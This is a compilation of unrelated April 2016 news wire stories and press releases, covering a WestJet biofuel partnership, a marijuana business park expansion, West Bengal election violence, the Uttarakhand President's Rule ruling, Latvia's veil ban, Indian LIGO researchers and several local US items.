Established in 1958, Ritchie Bros. (NYSE and TSX: RBA) is the world's largest seller of used equipment for the construction, transportation, agriculture, material handling, energy, mining, forestry, marine and other industries. Ritchie Bros. TM solutions make it easy for the world's builders to buy and sell equipment with confidence, including live unreserved public auctions with on-site and online bidding (rbauction.com), the EquipmentOneTM secure online marketplace (EquipmentOne.com), a professional corporate asset management program, and a range of value-added services, including equipment financing for customers through Ritchie Bros. Financial Services (rbauction.com/financing). Ritchie Bros. has operations in 19 countries, including 44 auction sites worldwide. Learn more at RitchieBros.com.

Photos and video for embedding in media stories are available at rbauction.com/media.

SOURCE Ritchie Bros. Auctioneers

Related Links

www.rbauction.com


Airline teams up with Alberta's Clean Energy Technology Centre (CETC)





CALGARY, April 22, 2016 /PRNewswire/ - WestJet today announced it has teamed up with Alberta-based, Clean Energy Technology Centre (CETC) to accelerate the development of sustainable aviation biofuel in Western Canada.

"WestJet's collaboration with the CETC is an exciting first step in supporting the development and deployment of a sustainable fuel alternative in Western Canada," said Geoffrey Tauvette, WestJet Director, Environment and Fuel. "WestJet has already made significant, demonstrable progress in our environmental commitment. As an example, our fleet investment over the last 15 years has improved our fuel efficiency by almost 50 per cent. The natural next step for us was getting actively involved in tapping Western Canada's innovation potential in developing scalable, affordable and sustainable aviation biofuels."

Aviation biofuels represent the biggest and best opportunity for aviation to significantly reduce greenhouse gas emissions. The focus now is developing sustainable sources to make the aviation biofuel, which Alberta's Drayton Valley has in abundance. The location and proximity of Drayton Valley can help solve many of the challenges that face the development of the biofuel  namely finding an efficient and economical way of getting fuel from production to aircraft. The CETC itself is located in Drayton Valley, home also to the "Bio Mile," an integrated bio-industrial park with close proximity to forestry and oil and gas industries whose infrastructure and human resources could eventually support the development of the alternative fuel source.

"We are excited to work with WestJet in these early stages and looking forward to what the future holds for aviation biofuels in Canada," said, Manny Deol, CETC Chief Operating Officer. "We are extremely well positioned and we offer a full spectrum of advantages to clean energy researchers, entrepreneurs and innovators including location; ready access to feedstock; transportation networks; academic partnerships in Alberta and Europe; and a supportive community."

"Drayton Valley's Clean Energy Technology Centre is purpose-built to be an ideal complement with WestJet in this important venture," said Glenn McLean, Drayton Valley Mayor. "Working together, Town Council and the Government of Alberta had the foresight to see how this location and our local assets would create a key hub for developing clean energy products and solutions. Drayton Valley and the CETC are ready to go. And we are ready to work with talented people all across the biofuel supply chain to meet the ambitious challenge set by WestJet."

About WestJet

We are proud to be Canada's highest-rated airline for customer service, powered by an award-winning culture of care and recognized as one of the country's top employers. We offer scheduled service to 100 destinations in North America, Central America, the Caribbean and Europe. Through our regional airline, WestJet Encore, and with partnerships with airlines representing every major region of the world, we offer our guests more than 150 destinations in more than 20 countries. Leveraging WestJet's extensive network, flight schedule and remarkable guest experience, WestJet Vacations delivers affordable, flexible travel experiences with a variety of accommodation options for every guest. Members of our WestJet Rewards program earn WestJet dollars on flights, vacation packages and more. Our members use WestJet dollars towards the purchase of WestJet flights and vacations packages on any day, at any time, to any WestJet destination with no blackout periods  even on seat sales. For more information about everything WestJet, please visit westjet.com.

Recent recognition includes:

2015/2011/2010/2008/2007/2006/2005 Canada's Most Admired Corporate Culture (Waterstone Human Capital)

2015 Best Employers in Canada (Aon Hewitt)

2015/2014/2013 WestJet RBC World Elite MasterCard ranked #1 in Canada (MoneySense magazine)

2014/2013 WestJet RBC World Elite MasterCard ranked #1 in the Canada's Choice ranking (RewardsCanada.ca)

2014 Interbrand Canada's Best Canadian Brands (Rank #20)

2014 Brands of the Year (Strategy magazine)

2014 Canada's Most Preferred Airline (Ipsos)

2014 Value Airline of the Year (Air Transport World magazine)

2014/2013/2012 Canada's Most Attractive Employer (Randstad)

2014/2013/2012/2011 Highest equity score: airline, vacation package supplier brands (Harris/Decima EquiTrend Study)

Connect with WestJet on Facebook at facebook.com/westjet

Follow WestJet on Twitter at twitter.com/westjet

Subscribe to WestJet on YouTube at youtube.com/westjet

Read the WestJet blog at blog.westjet.com

SOURCE WestJet

Related Links

http://www.westjet.com


SCOTTSDALE, Ariz., April 22, 2016 /PRNewswire/ -- Zoned Properties, Inc. (OTCQX: ZDPY), a strategic real estate development firm whose primary mission is to identify, develop, and manage sophisticated, safe, and sustainable properties in emerging industries, including the licensed medical marijuana industry, today announced a significant expansion of its flagship Marijuana Business Park in Parachute, Colorado.

The Purchase and Option Agreement expands the development from the initial acquisition of 1.5 acres, as originally announced, to 35 acres of available property, covering 12 parcels of land. The Company expects the closing date to be in late-June, contingent upon the approval of the Company's proposed development deal with the Town of Parachute.

Bryan McLaren, Chief Executive Officer of Zoned Properties, stated, "Our hard work to secure a responsible and vested development deal with the Town of Parachute, our established relationship with the seller as a development partner, continuing collaboration with local Real Estate Broker Del Dawson, and our unique Triple-Set (SSS) design and development model have enabled us to rapidly expand this project to its full capacity. The Town of Parachute has embraced our Triple-Set (SSS) design and development model, which includes a focus on a sophisticated, safe, and sustainable set of design principles. We envision that this design model will enable projects such as Parachute to someday operate with 'net-zero' energy usage. As with our development projects in Arizona, we are finding that our prudent and responsible approach, which carefully balances the needs of the municipalities, our tenants, and each local community, is resonating with all stakeholders involved helping us to maximize the potential of our growing portfolio."

About Zoned Properties, Inc. (OTCQX: ZDPY):

Zoned Properties, Inc. is a strategic real estate development firm whose primary mission is to identify, develop, and manage sophisticated, safe, and sustainable properties in emerging industries. The Company acquires commercial properties that face unique zoning challenges and identifies solutions that can potentially have a major impact on the cash flow and value generated. Zoned Properties, Inc. targets commercial properties that can be acquired and potentially re-zoned for specific purposes. Zoned Properties does not grow, harvest, sell or distribute cannabis or any substances regulated under United States law such as the Controlled Substances Act.

Safe Harbor Statement

This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements other than statements of historical facts included in this press release are forward-looking statements. In some cases, forward-looking statements can be identified by words such as "believe," "expect," "anticipate," "plan," "potential," "continue" or similar expressions. Such forward-looking statements include risks and uncertainties, and there are important factors that could cause actual results to differ materially from those expressed or implied by such forward-looking statements. These factors, risks and uncertainties are discussed in the Company's filings with the Securities and Exchange Commission. Investors should not place any undue reliance on forward-looking statements since they involve known and unknown, uncertainties and other factors which are, in some cases, beyond the Company's control which could, and likely will, materially affect actual results, levels of activity, performance or achievements. Any forward-looking statement reflects the Company's current views with respect to future events and is subject to these and other risks, uncertainties and assumptions relating to operations, results of operations, growth strategy and liquidity. The Company assumes no obligation to publicly update or revise these forward-looking statements for any reason, or to update the reasons actual results could differ materially from those anticipated in these forward-looking statements, even if new information becomes available in the future.

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Islamabad, April 19 : Defence lawyers in the case against former president Pervez Musharraf told a Pakistani court that the government allowed the defendant to leave the country by "relaxing the rules".

An application filed by Major General Rashid Qureshi (retd) on Monday claimed that the Pakistan government had the power to restrict Musharraf's movements, which "has not been exercised" in this case.

Qureshi, former spokesperson for Musharraf, filed an application to swap the property he pledged as a surety bond to ensure the defendant's presence during the treason trial, Dawn online reported.

The court had attached the registry of his house in Islamabad but he wanted it to release the registry and replace it with prize bonds worth Rs.2.5 million.

In the application, Qureshi said he was not solely responsible for regulating the movements of his former boss, and the government was also charged with monitoring his movements.

"Exit from Pakistan (Control) Rules 2010 provide a complete mechanism for the situation, which needs to restrict movement of any person from going abroad."

However, the government did not invoke the relevant provisions of the rules to stop Musharraf from leaving Pakistan, the application said.

It noted that the superior judiciary "did not put any restriction on the movement of the accused in spite of having full and complete knowledge of the order of the court".

In February 2016, the special court had summoned Musharraf to record his statement but he left the country after the Pakistan government removed his name from the exit control list (ECL).

Interior Minister Chaudhry Nisar Ali Khan had said the former president was being allowed to leave the country in the light of superior court orders.

Qureshi said the five-member bench of the apex court which upheld the removal of Musharraf's name from the ECL did not place any restrictions.

"It is further submitted that the accused has not absconded or left with the object to defeat the process of the court, but left after getting permission (from government) and removal of his name from the ECL," the application said.

However, it expressed the hope that Qureshi "firmly believes that the accused will be back as soon as he becomes medically fit."
On April 29 the UniTec Career Center Skills USA Club will benefit from cars being test driven at the school.

We are having a fundraiser that Ford sponsors and anyone who comes and test drives a Ford car, Sam Scism Ford and Ford Motor Company will donate $20 to Skills USA, up to $6,000, said Dale Douglas, UniTec machine tool technology instructor. So it is a major fundraiser for us and its a great opportunity because there is no outlay on UniTecs part and no risk. They bring the cars over, you drive them, fill out a short survey and we get $20.

The money raised will help send the kids to state and national competitions. The national competition this year is in Louisville, Kentucky and they will have to stay there for a week in a motel with a sponsor, which racks up a pretty good cost, he said.

Douglas said the point of the club is to teach students about the dignity of work, having a trade, working hard and having a good work ethic.

One of the things that Skills USA does is they have competitions in the district, state and national level, said Douglas. UniTec always sends several each year and this year we sent 33 people to the state competition.

Douglas added there were about 2,500 students in attendance there and out of the 33 they sent, 18 of them received medals in first, second and third place. He said two of those students earned first place in the entire state and will be going to nationals.

This the second year we have held this fundraiser and last year we had 300 drivers and raised $5,080, said Douglas. Its just a wonderful opportunity to get that in one day and this year we are aiming for $6,000.

UniTec invites everyone to come out to the event and get behind the wheel of your favorite Ford vehicle. It will take place at UniTec Career Center from 8 a.m. to 4 p.m. on April 29.

Participants must be 18 or older and have a valid drivers license. There is a limit of one test drive per household. All test drives will last approximately seven to 10 minutes.
Pyongyang, April 19 : North Korean foreign Minister Ri Su-yong on Tuesday left for the UN headquarters in New York to join the signing ceremony of Paris climate agreement.

The report said Ri led a delegation to attend the signing ceremony and the high-level debate on achieving sustainable development goals, but did not elaborate on the schedule of visit, Xinhua reported.

Earlier this month, the UN spokesperson's office confirmed Ri's attendance but said a meeting between Ri and UN Secretary-General Ban Ki-moon on the sidelines cannot be confirmed.

More than 130 countries have confirmed to sign the Paris Agreement at the ceremony on Friday, according to the UN.

Agreed by 195 countries at the UN Framework Convention on Climate Change in Paris in December 2015, the Paris Agreement sets a target of keeping the global average rise in temperature below two degrees Celsius above pre-industrial levels, and preferably below 1.5 degrees.

On the basis of common but differentiated responsibilities and respective capabilities, developed countries agreed to raise $100 billion a year by 2020 to help developing countries transform their economies.
Kolkata, April 21 : Amid escalating violence that left one person dead and several others injured and the sweltering heat, nearly 40 percent turnout was recorded in the first four hours for the third phase of the West Bengal assembly elections involving 62 constituencies on Thursday.

Twenty-two constituencies in Murshidabad, 17 in Nadia and 16 in Burdwan districts and seven in north Kolkata are up for grabs. Thursday marks the second and final round of voting in Burdwan, where nine constituencies went to the hustings on April 11.

"Till 11.00 a.m., overall 39.76 percent polling was recorded. The turnout in Murshidabad was 42.99 percent, Nadia 40.78 percent, Burdwan 37.33 percent, and Kolkata 32.71 percent," said an Election Commission (EC) official.

The EC officials also received over 1,000 complaints, including those of violence, voter intimidation, and disruption to poll process, during the ballotting so far.

Incidents of violence in Murshidabad, Nadia and Burdwan districts left one dead and several others injured.

In Domkal of Murshidabad district, Tahidul Islam, a Communist Party of India-Marxist activist was killed when crude bombs were hurled at him.

While the EC has sought a report over the incident, CPI-M leader Anisur Rahaman blamed the Trinamool Congress for the killing, but the ruling party denied the charges.

Trinamool's Domkal nominee Soumik Hossain claimed the death was a result of a clash between the CPI-M and the Congress.

Besides the killing of Islam, at least four others were attacked in Domkal allegedly for casting their votes.

"Last night, some people threatened me not to vote but I chose to ignore that. When I was returning after casting my vote, I was attacked," alleged one of the injured undergoing treatment at a hospital.

Whistle-blower former Indian Police Service officer Nazrul Islam, who too is contesting from Domkal, accused the EC of being "intentionally incompetent".

"The EC has chosen to be intentionally incompetent, the reason being a tacit understanding between ruling parties at the Centre (BJP) and the state (Trinamool)," added Islam, who is a candidate of the Mulnibasi Party floated by him.

Reports of violence were also received from Ketugram in Burdwan district where three people were injured after crude bombs were thrown near a booth.

Several crude bombs were also recovered from near a booth at Saguna in Nadia district.

Voters in Chakdaha in Nadia district alleged they were "prevented from voting by Trinamool goons".

In the city's Beliaghata, complaints of voter intimidation were received. Police had to intervene and detained several people.

Both the CPI-M and the Congress alleged their polling agents were assaulted and driven out in several booths. Booth-capturing and voter intimidation took place in a number of areas, they said.

Over 1.37 crore (1,37,42,000) voters are eligible to elect their legislators across 16,461 polling stations, including 10 auxiliary booths, from a field of 418 candidates -- 34 of them female.

In the assembly polls in the 62 constituencies five years back, then allies Trinamool and Congress captured 45 seats, with the Trinamool taking 29 and the Congress 16.

Among the Left Front partners, the CPI-M had won 14, and the Revolutionary Socialist Party, Samajwadi Party and All India Forward Bloc one each.

The ruling Trinamool and the BJP are contesting in all the 62 constituencies in this phase.

The Left Front-Congress alliance is also in the fray for all the 62 constituencies. But the Congress nominees are also clashing with those from the Left Front in 11 seats -- 10 in Murshidabad and one in Nadia.

In this phase, Ranaghat South in Nadia is the largest constituency electorate-wise, and Ausgram in Burdwan district the biggest in terms of area. Shyampukar constituency in Kolkata North has the least number of voters.

Among the major candidates in this phase are state ministers and Trinamool contestants Rabiranjan Chattopadhyay, Sashi Panja, Sadhan Pandey, former state minister and CPI-M candidates Anisur Rahaman and Debesh Das, Congress legislature party leader Md. Sohrab and former state party president Somendranath Mitra, and BJP national secretary Rahul Sinha.

Of the 418 candidates in the fray, 61 are crorepatis, 80 have criminal cases against them, of whom 65 have declared serious criminal offences like murder and rape against their name.

So far, voters in 105 of the state's total 294 constituencies have exercised their right to franchise on three dates -- April 4, 11 and 17 -- in the first two phases.

West Bengal is having a staggered six-phase election. Polling for the remaining phases will be held on April 25, 30 and May 5.
Thiruvananthapuram, April 21 : Malayalam superstar Suresh Gopi on Thursday offered prayers at a temple here and thanked Prime Minister Narendra Modi for nominating him to the Rajya Sabha.

"This is not a political decision, it's a non-political one... our prime minister has nominated me," the 56-year-old Gopi, who has worked in over 250 films, told the media.

He was accompanied to the temple by former union minister and BJP leader O. Rajagopal.

"This should have come earlier, but now that it has come, it's good," said Rajagopal, who was a Rajya Sabha member and a minister in the Atal Bihari Vajpayee government.

Gopi was promised the post of chairman of the National Film Development Corporation (NFDC) last year, but it failed to materialise.

The BJP also tried to field him in the upcoming assembly polls, but the actor was non-committal. He, however, agreed to campaign for the party in Kerala.

Of the 12 nominated members in the upper house of parliament, there are seven vacancies at the moment and Gopi will be one of the new entrants.

Gopi was last week summoned to Delhi and his name was finalised after a meeting with BJP president Amit Shah.

The BJP's national leadership feels the nomination would give the much needed boost to the party to open its account in the 140-member Kerala assembly, as all top leaders of the party in the state, including Rajagopal, are contesting the polls.
Dehradun, April 21 : In a major blow to the BJP-led central government, the Uttarakhand High Court on Thursday set aside President's Rule in the state, restoring Congress leader Harish Rawat as the chief minister, nearly a month after he was ousted.

The dramatic decision, also asking Rawat to prove his legislative majority in the 70-member assembly on April 29, triggered Congress celebrations while the Aam Aadmi Party (AAP) called it a "huge embarrassment" for the Narendra Modi government.

The court came down heavily on the central government for its March 27 move to dismiss Rawat under the much contested Article 356 that empowers the union cabinet to impose President's Rule in a state.

The case "brings to the fore a situation where 356 has been used contrary to the law", the court said, adding the article should only be used as a last resort.

"The proclamation of March 27 stands quashed," said the court in the "status quo ante" order, meaning the previously existing state of affairs was being restored.

A visibly pleased Rawat hailed the decision as "a victory for the people".

"Uttarakhand has got justice. I stand vindicated," he told the media shortly after the verdict.

Uttarakhand was plunged into political uncertainty after nine Congress legislators, including former chief minister Vijay Bahuguna, whom Rawat replaced, revolted and turned to the Bharatiya Janata Party (BJP).

The crisis peaked on March 18 when the assembly passed the budget Appropriation Bill by voice vote even as the opposition, including the rebel Congress members, sought recorded voting. But Speaker Govind Kunjwal declined the request, leading the BJP to cry foul.

Rawat was then asked by Governor K.K. Paul to prove his majority on March 28. Just a day before, the central government ousted the Rawat-led government by imposing President's Rule. Rawat immediately went to court.

On Thursday, Rawat said the ruling to restore his government had begun a "new phase" in the state and asked the Modi government to honour its stated policy of "cooperative federalism".

The BJP claimed the court ruling was not a surprise.

Its general secretary and Uttarakhand affairs in charge Kailash Vijayvargiya, who played a key role in the developments leading to Rawat's ouster, insisted that Rawat won't be able to prove his majority.

"We will prove on April 29 that (the Rawat government) was and is in minority," he said in New Delhi.

After ouster of Rawat, Vijayvargiya had claimed that Congress-led governments in Himachal Pradesh and Manipur were on their way out -- like it happened earlier in Arunachal Pradesh.

But another senior BJP leader, Subramanian Swamy, slammed Attorney General Mukul Rohatgi and Solicitor General Ranjit Kumar for the fiasco.

"Time to get a new AG and SG for the BJP government... We can win the Uttarakhand case," Swamy tweeted.

BJP sources said the central government was considering moving the Supreme Court.

An overjoyed Congress called the court ruling a victory for democracy and the judicial system "to whom alone aggrieved citizens can turn for relief".

"The imposition of President's Rule was unconstitutional," spokesman Abishek Singhvi said in New Delhi.

"The law was deliberately and consciously violated by the central government. We hope that those who are watching different states with greedy eyes should learn a lesson."

Delhi Chief Minister Arvind Kejriwal said the court verdict was "a huge embarrassment to the Modi government".

"Till now the Modi government used to declare our orders null and void. Today, the high court has declared their order null and void."
New Delhi, April 21 : At least 30 people, including a 10-year-old boy and two women, suffered burn injuries in a major fire broke out at a scrap warehouse here on Thursday, fire and police officials said.

The incident was reported around 2.21 p.m. from Budh Vihar Phase-1 area in north Delhi, said a Delhi Fire Service official, adding it took firefighters two and half hours to douse the blaze.

A police officer said that all the injured have been admitted in three different hospitals.

"No one reportedly died in the incident yet. Injured included the workers at the scrap godown, some onlookers and those attempting to douse the fire."

The officer said the exact reason behind the incident is yet to be ascertained.

Asked if any cylinder exploded inside the godown which caused the huge fire, the officer said: "Some cooking gas cylinders have been recovered from the spot but none of them exploded. It is a matter of investigation if the fire spread because of the leakage of gas from any one of these cylinders."

Some eyewitness said several explosions were seen at the site.
New Delhi, April 21 : The Congress on Thursday hailed as a victory of democracy the ruling of the Uttarakhand High Court setting aside the imposition of President's Rule in the state.

"Congress is proud of Indian democracy and the judicial system to whom alone and aggrieved citizens of the country can turn for relief at a time of crisis," party spokesperson Abhishek Manu Singhvi said at a press conference at the party headquarters here after the court verdict.

Singhvi, who was also the lawyer of ousted Uttarakhand chief minister Harish Rawat in this case, asserted that the ruling of the court has reinstated the position of the state assembly to what it was on March 27 -- the day President's Rule was imposed.

"The court has ordered a floor test on April 29," Singhvi said, adding that this is the first time in the history of Indian democracy that a live and operational Article 356 (for President's Rule) has been quashed by a court of law.

Singhvi also insisted that the nine rebel Congress legislators continue to remain disqualified as their petition against the decision of the speaker of Uttarakhand assembly has also been quashed.

Uttarakhand Speaker Govind Singh Kunjwal had disqualified nine congress legislators who along with the BJP lawmakers had signed a memorandum against the Harish Rawat government last month, leading to a crisis.

Terming the imposition of President's Rule an assault on federalism, Singhvi said, ''this judgement (passed by Uttarakhand High Court) tells us that those eyeing either Himachal Pradesh or Manipur or other Congress ruled states with greedy eyes must control their greed and understand that power is available only through democratic means and not the misuse of article 356."

"The governor had sent three messages in writing till March 26 that a floor test is scheduled on March 28. To that the chief minister had written back twice that he was ready for the floor test as per governor's directions," he said, insisting that it was the first time in the history that President's rule was imposed when a chief minister was ready for the floor test.

Singhvi also informed that the Congress party has filed a curative petition in the Supreme Court pre-empting the central government's decision to move the apex court to get a stay on the high court's decision in this case.
New Delhi, April 22 : Iranian ambassador Gholamreza Ansari has said that Iran was "very accurately" examining the issue of the arrest of an ex-Indian Navy officer Kulbhushan Jadhav by Pakistan on charges of planning "subversive activities" in its Balochistan province.

"First of all we are trying to complete our own information about the case, we are looking into this issue very accurately."

Jadhav, allegedly entered Pakistan through Iran, was arrested last month and described as an officer of the Indian Navy, however, the claim was rejected by the Indian government.

Ansari also ruled out the possibility of the Iran-Pakistan-India gas pipeline project materliasing, by saying that "we should forget about it".

Those who have invested in the LNG (liquified petroleum gas) projects in India will not allow the pipeline venture to take off, he said.

"People who have invested in LNG in India, I don't think they will let any pipes to come in," he said.

He said that the Chabahar port project that will open up access to central Asia has been almost finalised.

"It has almost been finalised. Only the signatures at the ministerial level is due," he said.

India and Iran agreed to fast-track the Chabahar port project as external affairs minister Sushma Swaraj held talks during her first visit to the country on Sunday.
Riga, April 22 : Latvia has banned women from wearing the Islamic full-face veil in public, despite only three people being known to wear them in the entire country.

Authorities say the new legislation was necessary in order to protect Latvian culture and prevent terrorists from smuggling weapons under garments, reports the Independent.

The move follows a similar ban on full-face veils in public spaces implemented by France in 2011.

Latvia's Justice Minister Dzintars Rasnacs said the law - which he hopes will come into place by 2017 - was less to do with the number of women wearing the traditional niqab, but rather about ensuring prospective immigrants respect the country's values.

"A legislator's task is to adopt preventative measures," Rasnacs told the New York Times. "We do not only protect Latvian cultural-historical values, but the cultural-historical values of Europe."

Latvia - a small country with an estimated population of two million - agreed to accept 776 refugees over the next two years as part of the European Union's efforts to resettle refugees.

This week, French Prime Minister Manuel Valls sparked outrage for announcing plans to prohibit the wear of all forms of Muslim headscarves in universities.

Feminist groups reacted to the plans by organising a "niqab day" at a political sciences institute in Paris. Dozens of students wore veils handed out by the protesters at Sciences Po, to highlight discrimination faced by Muslim women.

There were thought to be around 1,000 practicing Muslims living in Latvia.

Speaking about the proposed ban, former Latvian president Vaira Vike-Freiberga said that those wearing a niqab or burqa "at a time of terrorism" presented a "danger to society".

"Anybody could be under a veil or under a burqa," she said. "You could carry a rocket launcher under your veil. It's not funny."
Thiruvananthapuram : Communist Party of India (Marxist) [CPI-M] State secretary Kodiyeri Balakrishnan has charged the media with harbouring an agenda to cause a vertical divide within the CPI-M.

He was responding to questions by media persons on Thursday on the alleged remarks made by party polit bureau member Pinarayi Vijayan the other day against veteran Marxist leader V S Achuthanandan.

Media reports had quoted Pinarayi yesterday as saying that the resolution that had been passed at the party congress in Alappuzha reprimanding V S for anti-party activities still stood.

Pinarayi had explained what he said about Achuthanandan, Kodiyeri said, adding that the party was united and that the agenda of the media to foment trouble within the CPI-M would come a cropper.

With his remarks on V S snowballing into a controversy, Pinarayi had come out with a clarification yesterday, accusing the media of putting words in his mouth.

The media raked up the issue again on Thursday following a Facebook post by Achuthanandan in which the veteran Marxist advised his fellow comrades to exercise caution while expressing their opinions.

With various media outlets interpreting the Facebook post as a thinly veiled criticism of Pinarayis remarks the other day, V S put up another post ticking off the media for trying to kick up a row by selectively carving out certain portions of his earlier post.

V S also clarified that he was not alluding to Pinarayis remarks on him through his earlier Facebook post.

Earlier in the day, Achuthanandan had campaigned at Pinarayis constituency, Dharmadam in Kannur, exhorting the electorate to give Pinarayi a thumping victory.
Kolkata, April 22 : Thrilled at the detection of the elusive gravitational waves a century after Albert Einstein's prediction and the first observation of collision of two black holes at the Interferometer Gravitational-wave Observatory (LIGO), two young US-based Indian researchers working on the project say the waves act as a sixth sense for humans to comprehend the universe.

In fact, these "ripples in the curvature of space and time" will provide information on the cosmos that wouldn't have been possible by peering through any kind of telescope, say Karan P. Jani and Nancy Aggarwal, who are elated at the prospect of India getting a third LIGO (observatory) and being at the forefront of new-age astrophysics.

Last month, India and the US signed an agreement for a new LIGO project in India during Prime Minister Narendra Modi's visit to Washington. The agreement was signed between India's Department of Atomic Energy and the US' National Science Foundation (NSF).

The prime minister also met Indian student scientists, including Aggarwal and Jani, associated with the LIGO project.

"Gravitational waves are a completely new way of seeing the universe. It's like humans can now perceive the sixth sense beyond the five, to comprehend the universe," Jani, a fourth year PhD researcher in astrophysics at the Georgia Institute of Technology, told IANS via email.

The gravitational waves were detected on September 14, 2015, by both of the twin LIGO detectors, located in Livingston, Louisiana, and Hanford, Washington. The LIGO Observatories are funded by the NSF and were conceived, built, and are operated by Caltech and the Massachusetts Institute of Technology (MIT).

Physicists have concluded that the detected gravitational waves were produced during the final fraction of a second of the merger of two black holes to produce a single, more massive spinning black hole. This collision of two black holes had been predicted but never observed.

Jani and Aggarwal explained the detectors led to "direct observation of existence of black holes as also a direct observation of mergers of two black holes into a bigger black hole."

"The energy released during collision was 50 times more than all the stars in the universe combined at that instance," added Jani, whose work involves simulating black holes on supercomputers and searching for massive black hole collisions in LIGO data.

The breakthrough was made by the LIGO Scientific Collaboration (LSC) (which includes the GEO Collaboration and the Australian Consortium for Interferometric Gravitational Astronomy) and the Virgo Collaboration using data from the two LIGO detectors.

The LSC currently includes over 1,000 members from 90 institutes and 16 countries. India is the third highest right now in terms of membership.

At the heart of the mammoth hunting game to catch the unicorn are tools called interferometers which work by merging two or more sources of light to create an interference pattern that can be measured and analyzed.

"It is a four km light interferometer... in fact LIGO is the most precise measurement ever done. This means a lot of technology research has to be done to make LIGO," Aggarwal, a fourth year Ph D student at MIT LIGO Lab, told IANS via email.

Aggarwal is studying quantum mechanics to improve the precision of gravitational wave detectors and is glad that the starting of the LIGO India project opens up a new opportunity for her to work in her native country.

"A lot of technological developments that were made for LIGO have found independent applications in science as well as industry and LIGO India will create a lot of opportunities for Indian scientists and engineers and improve the general scientific and technological environment," Aggarwal emphasised.

They hope to "share the discovery with a larger audience", a request put in by Modi during their meeting.

"During our meeting, the prime minister said he would like the LIGO scientists to make frequent India trips to popularize the science in colleges in India. We also talked about physics outreach in India for school children, the importance of hands-on demos and the importance of learning material in languages other than English," Aggarwal informed.

"Also, due to the participation, the travelling of Indian scientists abroad and international scientists to India will definitely strengthen the international relations for India," she said.

(Sahana Ghosh can be contacted at sahana.g@ians.in)
The Desloge Fire Department was called to the 600 block of Jackson St. at 7:37 a.m. Friday for a home that had black smoke pouring from it.

Desloge Fire Chief Larry Gremminger said the homeowner called for a smoke alarm going off in the house.

The police department arrived and they reported heavy smoke showing, said Gremminger. When we arrived we noticed there was heavy black smoke coming out of the vents and the foundation to the crawl space. We had a very quick response from mutual aid companies as well.

Gremminger said Park Hills, Leadwood, Big River and Farmington Fire Departments assisted them.

Once we were able to access the crawl space area of the house with a thermal imaging camera we ended up finding a fire that involved some plastic drain pipes and some other items underneath the house, said Gremminger. The fire itself was extinguished pretty quickly, but the overhaul of the investigative side took quite some time.

Gremminger said they did call an investigator in from the Missouri State Fire Marshals Office to get a determination.

The last word I had from the lead investigator was (the cause was) 'undetermined' at that time, said Gremminger. Reasonably sure it was accidental, but its undetermined. The damage to the house was all underneath the floor space. There was no damage to the home other than smoke.

Gremminger added the home is inhabitable right now.
Kolkata, April 22 : Two Communist Party of India-Marxist (CPI-M) activists were killed in post-poll violence in West Bengal's Burdwan district, police said on Friday.

The incident happened on Thursday night in Lodhna village near Khandaghosh when Sheikh Fazle Haq and Dukhiram Dal were returning home after polling duty.

"They were attacked by armed men last night and subsequently succumbed to their injuries. No arrests have been made so far," Superintendent of Police Gaurav Sharma said.

The twin killings follow the murderof another Marxist activist, Tahidul Mandal, in Domkal town of Murshidabad district on Thursday during the third phase of the state assembly polls.

The CPI-M has alleged that the Trinamool Congress is behind the killings, a charge denied by the ruling party.

"Haq and Dukhiram's son were our polling agents. They were killed by Trinamool. The frustration of the Trinamool losing ground continues," said CPI-M state secretary Surya Kanta Mishra.

"The gruesome killing of our comrades in three days proves how unnerved the Trinamool has been. The killings are the outcome of its increasing fear of impending defeat," added Mishra, who is also leader of opposition in the outgoing assembly.

Rubbishing the charges, the Trinamool leader from Khandaghosh, Uttam Sengupta, said the twin murders were a result of "factional feud within the CPI-M".

Incidentally, the killings came on a day when Prime Minister Narendra Modi, campaigning in the state, said polls in Bengal are in the news for violence.

"Unlike other states, the only news that one hears about polls in Bengal is how many people were killed, how many were beaten, or how many booths were looted," Modi said at election rally in Howrah on Thursday.
Hyderabad, April 22 : The Election Commission has permitted the ruling Telangana Rashtra Samiti (TRS) to hold its plenary at Khammam, about 193 km from here, on April 27 subject to certain conditions.

The party sought the EC's permission to hold the plenary and a public meeting in view of the model code of conduct for the May 16 by-election to Palair assembly constituency in Khammam district.

The main opposition Congress had urged the panel not to grant the permission as the TRS might influence the voters.

State Chief Electoral Officer Bhanwarlal said the permission has been granted subject to the condition that all the expenses are met by the party and no official machinery is used or involved in making any arrangements.

The commission also laid down the condition that the chief minister and ministers do not undertake official visits to attend the event.

TRS is holding the plenary to commemorate the 15th anniversary of its founding. TRS president and Chief Minister K. Chandrasekhar Rao will preside over the meeting.

Roads and Buildings Minister T. Nageswara Rao, who is the TRS candidate for the by-election, said the process to make arrangements for the plenary were in full swing.

A delegates session will be held in the morning while a public meeting is scheduled for the evening.

Meanwhile, opposition Telugu Desam Party (TDP) has decided to field former MP N. Nageswara Rao for the by-election.

The seat fell vacant due to the death of Congress legislator Ramreddy Venkatreddy last month.
Kathmandu, April 22 : Nepal's anti-graft body on Friday arrested publisher, editor and journalist Kanak Mani Dixit from his Lalitpur-based residence.

Dixit is the publisher of Himal Media, a reputed publication house that publishes Himal South Asia, Nepali Times, Himal Khabar Patrika (in Nepali language), and a columnist for many international media outlets, including some Indian newspapers.

He was arrested in the afternoon by the Commission for the Investigation of Abuse of Authority (CIAA).

Dixit, also a vocal human rights defender, is chairman of Sajha Yatayat, a state-run transportation company that is pulling out to profit-making institution within a couple of months.

The arrest warrant, seen by IANS, stated "CIAA needs to probe into corruption case and accumulation of property through the illegal way".

"You have to accompany the police and staff who bring this arrest warrant, otherwise they will detain you," it stated.

Though the exact reason behind the arrest has not been revealed by the CIAA, it is claimed his explanation to the CIAA about property details was found unsatisfactory.

After the CIAA served a notice against him some five months ago about accumulation of property out of legal sources, a tussle between Dixit and the CIAA surfaced.

Dixit has termed his arrest arbitrary and contempt of court. He told reporters after the arrest that it was a vendetta against him by CIAA chief Karki.

"Karki has ego problem against me, which comes from hangover of Panchyat system in Nepal, and now he is trying to indict me in corruption, which will not succeed at any cost," Dixit added.

Though Nepal political parties appointed Karki to the post in 2012, many of them are now terrified about getting arrested by him any time.
Tokyo, April 22 : A group of 93 Japanese lawmakers on Friday visited the controversial Yasukuni shrine in Tokyo, which is seen as a symbol of the country's militaristic past.

The visit came a day after Prime Minister Shinzo Abe sent a ritual offering to the shrine to mark the start of Spring Festival, Efe news reported.

Visits by politicians to the shrine are often met with criticism from South Korea and China, which suffered Japan's wartime brutality and colonial rule during the 20th century.

It is a constant source of diplomatic tension between the neighbouring countries.

